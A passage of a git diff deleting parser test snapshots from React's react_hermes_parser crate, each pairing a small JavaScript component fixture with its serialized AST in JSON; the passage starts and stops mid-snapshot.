-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "items",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    43,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [
-                    {
-                      "type": "NumericLiteral",
-                      "value": 0.0,
-                      "loc": null,
-                      "range": [
-                        52,
-                        53
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 1.0,
-                      "loc": null,
-                      "range": [
-                        55,
-                        56
-                      ]
-                    },
-                    {
-                      "type": "NumericLiteral",
-                      "value": 2.0,
-                      "loc": null,
-                      "range": [
-                        58,
-                        59
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    51,
-                    60
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  43,
-                  60
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              39,
-              61
-            ]
-          },
-          {
-            "type": "ForOfStatement",
-            "await": false,
-            "left": {
-              "type": "VariableDeclaration",
-              "kind": "const",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "ii",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      75,
-                      77
-                    ]
-                  },
-                  "init": null,
-                  "loc": null,
-                  "range": [
-                    75,
-                    77
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                69,
-                77
-              ]
-            },
-            "right": {
-              "type": "Identifier",
-              "name": "items",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                81,
-                86
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          94,
-                          95
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "push",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          96,
-                          100
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        94,
-                        100
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "BinaryExpression",
-                        "left": {
-                          "type": "Identifier",
-                          "name": "ii",
-                          "typeAnnotation": null,
-                          "loc": null,
-                          "range": [
-                            101,
-                            103
-                          ]
-                        },
-                        "operator": "*",
-                        "right": {
-                          "type": "NumericLiteral",
-                          "value": 2.0,
-                          "loc": null,
-                          "range": [
-                            106,
-                            107
-                          ]
-                        },
-                        "loc": null,
-                        "range": [
-                          101,
-                          107
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      94,
-                      108
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    94,
-                    109
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                88,
-                113
-              ]
-            },
-            "loc": null,
-            "range": [
-              64,
-              113
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                123,
-                124
-              ]
-            },
-            "loc": null,
-            "range": [
-              116,
-              125
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          127
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        127
-      ],
-      "loc": null,
-      "range": [
-        0,
-        127
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    127
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-return.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-return.js.snap
deleted file mode 100644
index 483bb236688e..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@for-return.js.snap
+++ /dev/null
@@ -1,205 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/for-return.js
----
-Input:
-function Component(props) {
-  for (let i = 0; i < props.count; i++) {
-    return;
-  }
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ForStatement",
-            "init": {
-              "type": "VariableDeclaration",
-              "kind": "let",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "id": {
-                    "type": "Identifier",
-                    "name": "i",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      39,
-                      40
-                    ]
-                  },
-                  "init": {
-                    "type": "NumericLiteral",
-                    "value": 0.0,
-                    "loc": null,
-                    "range": [
-                      43,
-                      44
-                    ]
-                  },
-                  "loc": null,
-                  "range": [
-                    39,
-                    44
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                35,
-                44
-              ]
-            },
-            "test": {
-              "type": "BinaryExpression",
-              "left": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  46,
-                  47
-                ]
-              },
-              "operator": "<",
-              "right": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    50,
-                    55
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "count",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    56,
-                    61
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  50,
-                  61
-                ]
-              },
-              "loc": null,
-              "range": [
-                46,
-                61
-              ]
-            },
-            "update": {
-              "type": "UpdateExpression",
-              "operator": "++",
-              "argument": {
-                "type": "Identifier",
-                "name": "i",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  63,
-                  64
-                ]
-              },
-              "prefix": false,
-              "loc": null,
-              "range": [
-                63,
-                66
-              ]
-            },
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ReturnStatement",
-                  "argument": null,
-                  "loc": null,
-                  "range": [
-                    74,
-                    81
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                68,
-                85
-              ]
-            },
-            "loc": null,
-            "range": [
-              30,
-              85
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          26,
-          87
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        87
-      ],
-      "loc": null,
-      "range": [
-        0,
-        87
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    87
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@frozen-after-alias.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@frozen-after-alias.js.snap
deleted file mode 100644
index 2cfc16d7ca4c..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@frozen-after-alias.js.snap
+++ /dev/null
@@ -1,320 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/frozen-after-alias.js
----
-Input:
-function Component() {
-  const a = [];
-  const b = a;
-  useFreeze(a);
-  foo(b); // should be readonly, value is guaranteed frozen via alias
-  return b;
-}
-
-function useFreeze() {}
-function foo(x) {}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    31,
-                    32
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    35,
-                    37
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  31,
-                  37
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              25,
-              38
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    47,
-                    48
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    51,
-                    52
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  47,
-                  52
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              41,
-              53
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "useFreeze",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  56,
-                  65
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    66,
-                    67
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                56,
-                68
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              56,
-              69
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "foo",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  72,
-                  75
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "b",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    76,
-                    77
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                72,
-                78
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              72,
-              79
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "b",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                149,
-                150
-              ]
-            },
-            "loc": null,
-            "range": [
-              142,
-              151
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          153
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        153
-      ],
-      "loc": null,
-      "range": [
-        0,
-        153
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "useFreeze",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          164,
-          173
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          176,
-          178
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        155,
-        178
-      ],
-      "loc": null,
-      "range": [
-        155,
-        178
-      ]
-    },
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          188,
-          191
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "x",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            192,
-            193
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [],
-        "loc": null,
-        "range": [
-          195,
-          197
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        179,
-        197
-      ],
-      "loc": null,
-      "range": [
-        179,
-        197
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    197
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-declaration-reassign.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-declaration-reassign.js.snap
deleted file mode 100644
index 667b8b4af0a3..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-declaration-reassign.js.snap
+++ /dev/null
@@ -1,212 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/function-declaration-reassign.js
----
-Input:
-function component() {
-  function x(a) {
-    a.foo();
-  }
-  x = {};
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "FunctionDeclaration",
-            "id": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                34,
-                35
-              ]
-            },
-            "params": [
-              {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  36,
-                  37
-                ]
-              }
-            ],
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          45,
-                          46
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          47,
-                          50
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        45,
-                        50
-                      ]
-                    },
-                    "arguments": [],
-                    "loc": null,
-                    "range": [
-                      45,
-                      52
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    45,
-                    53
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                39,
-                57
-              ]
-            },
-            "generator": false,
-            "async": false,
-            "loc": null,
-            "range": [
-              25,
-              57
-            ],
-            "loc": null,
-            "range": [
-              25,
-              57
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  60,
-                  61
-                ]
-              },
-              "right": {
-                "type": "ObjectExpression",
-                "properties": [],
-                "loc": null,
-                "range": [
-                  64,
-                  66
-                ]
-              },
-              "loc": null,
-              "range": [
-                60,
-                66
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              60,
-              67
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                77,
-                78
-              ]
-            },
-            "loc": null,
-            "range": [
-              70,
-              79
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          81
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        81
-      ],
-      "loc": null,
-      "range": [
-        0,
-        81
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    81
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-declaration-redeclare.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-declaration-redeclare.js.snap
deleted file mode 100644
index 39e3ca87ea37..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-declaration-redeclare.js.snap
+++ /dev/null
@@ -1,210 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/function-declaration-redeclare.js
----
-Input:
-function component() {
-  function x(a) {
-    a.foo();
-  }
-  function x() {}
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "FunctionDeclaration",
-            "id": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                34,
-                35
-              ]
-            },
-            "params": [
-              {
-                "type": "Identifier",
-                "name": "a",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  36,
-                  37
-                ]
-              }
-            ],
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          45,
-                          46
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          47,
-                          50
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        45,
-                        50
-                      ]
-                    },
-                    "arguments": [],
-                    "loc": null,
-                    "range": [
-                      45,
-                      52
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    45,
-                    53
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                39,
-                57
-              ]
-            },
-            "generator": false,
-            "async": false,
-            "loc": null,
-            "range": [
-              25,
-              57
-            ],
-            "loc": null,
-            "range": [
-              25,
-              57
-            ]
-          },
-          {
-            "type": "FunctionDeclaration",
-            "id": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                69,
-                70
-              ]
-            },
-            "params": [],
-            "body": {
-              "type": "BlockStatement",
-              "body": [],
-              "loc": null,
-              "range": [
-                73,
-                75
-              ]
-            },
-            "generator": false,
-            "async": false,
-            "loc": null,
-            "range": [
-              60,
-              75
-            ],
-            "loc": null,
-            "range": [
-              60,
-              75
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                85,
-                86
-              ]
-            },
-            "loc": null,
-            "range": [
-              78,
-              87
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          21,
-          89
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        89
-      ],
-      "loc": null,
-      "range": [
-        0,
-        89
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    89
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-declaration-simple.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-declaration-simple.js.snap
deleted file mode 100644
index 9a60fc5e55fb..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-declaration-simple.js.snap
+++ /dev/null
@@ -1,297 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/function-declaration-simple.js
----
-Input:
-function component(a) {
-  let t = { a };
-  function x(p) {
-    p.foo();
-  }
-  x(t);
-  return t;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            20
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    30,
-                    31
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "a",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": true,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        36,
-                        37
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    34,
-                    39
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  30,
-                  39
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              26,
-              40
-            ]
-          },
-          {
-            "type": "FunctionDeclaration",
-            "id": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                52,
-                53
-              ]
-            },
-            "params": [
-              {
-                "type": "Identifier",
-                "name": "p",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  54,
-                  55
-                ]
-              }
-            ],
-            "body": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "p",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          63,
-                          64
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "foo",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          65,
-                          68
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        63,
-                        68
-                      ]
-                    },
-                    "arguments": [],
-                    "loc": null,
-                    "range": [
-                      63,
-                      70
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    63,
-                    71
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                57,
-                75
-              ]
-            },
-            "generator": false,
-            "async": false,
-            "loc": null,
-            "range": [
-              43,
-              75
-            ],
-            "loc": null,
-            "range": [
-              43,
-              75
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  78,
-                  79
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "t",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    80,
-                    81
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                78,
-                82
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              78,
-              83
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "t",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                93,
-                94
-              ]
-            },
-            "loc": null,
-            "range": [
-              86,
-              95
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          22,
-          97
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        97
-      ],
-      "loc": null,
-      "range": [
-        0,
-        97
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    97
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-expression-captures-value-later-frozen-jsx.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-expression-captures-value-later-frozen-jsx.js.snap
deleted file mode 100644
index c6b01ee09f94..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@function-expression-captures-value-later-frozen-jsx.js.snap
+++ /dev/null
@@ -1,501 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/function-expression-captures-value-later-frozen-jsx.js
----
-Input:
-function Component(props) {
-  let x = {};
-  // onChange should be inferred as immutable, because the value
-  // it captures (`x`) is frozen by the time the function is referenced
-  const onChange = (e) => {
-    maybeMutate(x, e.target.value);
-  };
-  if (props.cond) {
-    <div>{x}</div>;
-  }
-  return <Foo value={x} onChange={onChange} />;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "let",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    34,
-                    35
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    38,
-                    40
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  34,
-                  40
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              30,
-              41
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "onChange",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    187,
-                    195
-                  ]
-                },
-                "init": {
-                  "type": "ArrowFunctionExpression",
-                  "id": null,
-                  "params": [
-                    {
-                      "type": "Identifier",
-                      "name": "e",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        199,
-                        200
-                      ]
-                    }
-                  ],
-                  "body": {
-                    "type": "BlockStatement",
-                    "body": [
-                      {
-                        "type": "ExpressionStatement",
-                        "expression": {
-                          "type": "CallExpression",
-                          "callee": {
-                            "type": "Identifier",
-                            "name": "maybeMutate",
-                            "typeAnnotation": null,
-                            "loc": null,
-                            "range": [
-                              211,
-                              222
-                            ]
-                          },
-                          "arguments": [
-                            {
-                              "type": "Identifier",
-                              "name": "x",
-                              "typeAnnotation": null,
-                              "loc": null,
-                              "range": [
-                                223,
-                                224
-                              ]
-                            },
-                            {
-                              "type": "MemberExpression",
-                              "object": {
-                                "type": "MemberExpression",
-                                "object": {
-                                  "type": "Identifier",
-                                  "name": "e",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    226,
-                                    227
-                                  ]
-                                },
-                                "property": {
-                                  "type": "Identifier",
-                                  "name": "target",
-                                  "typeAnnotation": null,
-                                  "loc": null,
-                                  "range": [
-                                    228,
-                                    234
-                                  ]
-                                },
-                                "computed": false,
-                                "loc": null,
-                                "range": [
-                                  226,
-                                  234
-                                ]
-                              },
-                              "property": {
-                                "type": "Identifier",
-                                "name": "value",
-                                "typeAnnotation": null,
-                                "loc": null,
-                                "range": [
-                                  235,
-                                  240
-                                ]
-                              },
-                              "computed": false,
-                              "loc": null,
-                              "range": [
-                                226,
-                                240
-                              ]
-                            }
-                          ],
-                          "loc": null,
-                          "range": [
-                            211,
-                            241
-                          ]
-                        },
-                        "directive": null,
-                        "loc": null,
-                        "range": [
-                          211,
-                          242
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      205,
-                      246
-                    ]
-                  },
-                  "generator": false,
-                  "async": false,
-                  "loc": null,
-                  "range": [
-                    198,
-                    246
-                  ],
-                  "expression": false,
-                  "loc": null,
-                  "range": [
-                    198,
-                    246
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  187,
-                  246
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              181,
-              247
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  254,
-                  259
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "cond",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  260,
-                  264
-                ]
-              },
-              "computed": false,
-              "loc": null,
-              "range": [
-                254,
-                264
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
